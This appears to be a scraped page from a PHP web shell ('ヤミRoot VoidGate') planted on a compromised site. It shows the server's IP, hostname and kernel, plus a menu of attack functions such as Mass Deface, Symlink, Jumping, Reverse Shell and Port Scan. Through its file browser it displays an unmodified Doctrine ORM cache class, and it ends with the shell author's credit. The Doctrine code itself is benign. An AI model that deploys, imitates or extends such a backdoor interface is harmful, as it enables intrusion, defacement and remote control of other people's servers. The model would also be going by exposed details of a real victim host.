ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
doctrine
/
orm
/
lib
/
Doctrine
/
ORM
/
Cache
/
Viewing: EntityCacheEntry.php
<?php declare(strict_types=1); namespace Doctrine\ORM\Cache; use Doctrine\ORM\EntityManagerInterface; use function array_map; /** * Entity cache entry */ class EntityCacheEntry implements CacheEntry { /** * The entity map data * * @readonly Public only for performance reasons, it should be considered immutable. * @var array<string,mixed> */ public $data; /** * The entity class name * * @readonly Public only for performance reasons, it should be considered immutable. * @var string * @psalm-var class-string */ public $class; /** * @param string $class The entity class. * @param array<string,mixed> $data The entity data. * @psalm-param class-string $class */ public function __construct($class, array $data) { $this->class = $class; $this->data = $data; } /** * Creates a new EntityCacheEntry * * This method allow Doctrine\Common\Cache\PhpFileCache compatibility * * @param array<string,mixed> $values array containing property values * * @return EntityCacheEntry */ public static function __set_state(array $values) { return new self($values['class'], $values['data']); } /** * Retrieves the entity data resolving cache entries * * @return array<string, mixed> */ public function resolveAssociationEntries(EntityManagerInterface $em) { return array_map(static function ($value) use ($em) { if (! ($value instanceof AssociationCacheEntry)) { return $value; } return $em->getReference($value->class, $value->identifier); }, $this->data); } }
Coded With 💗 by
0x6ick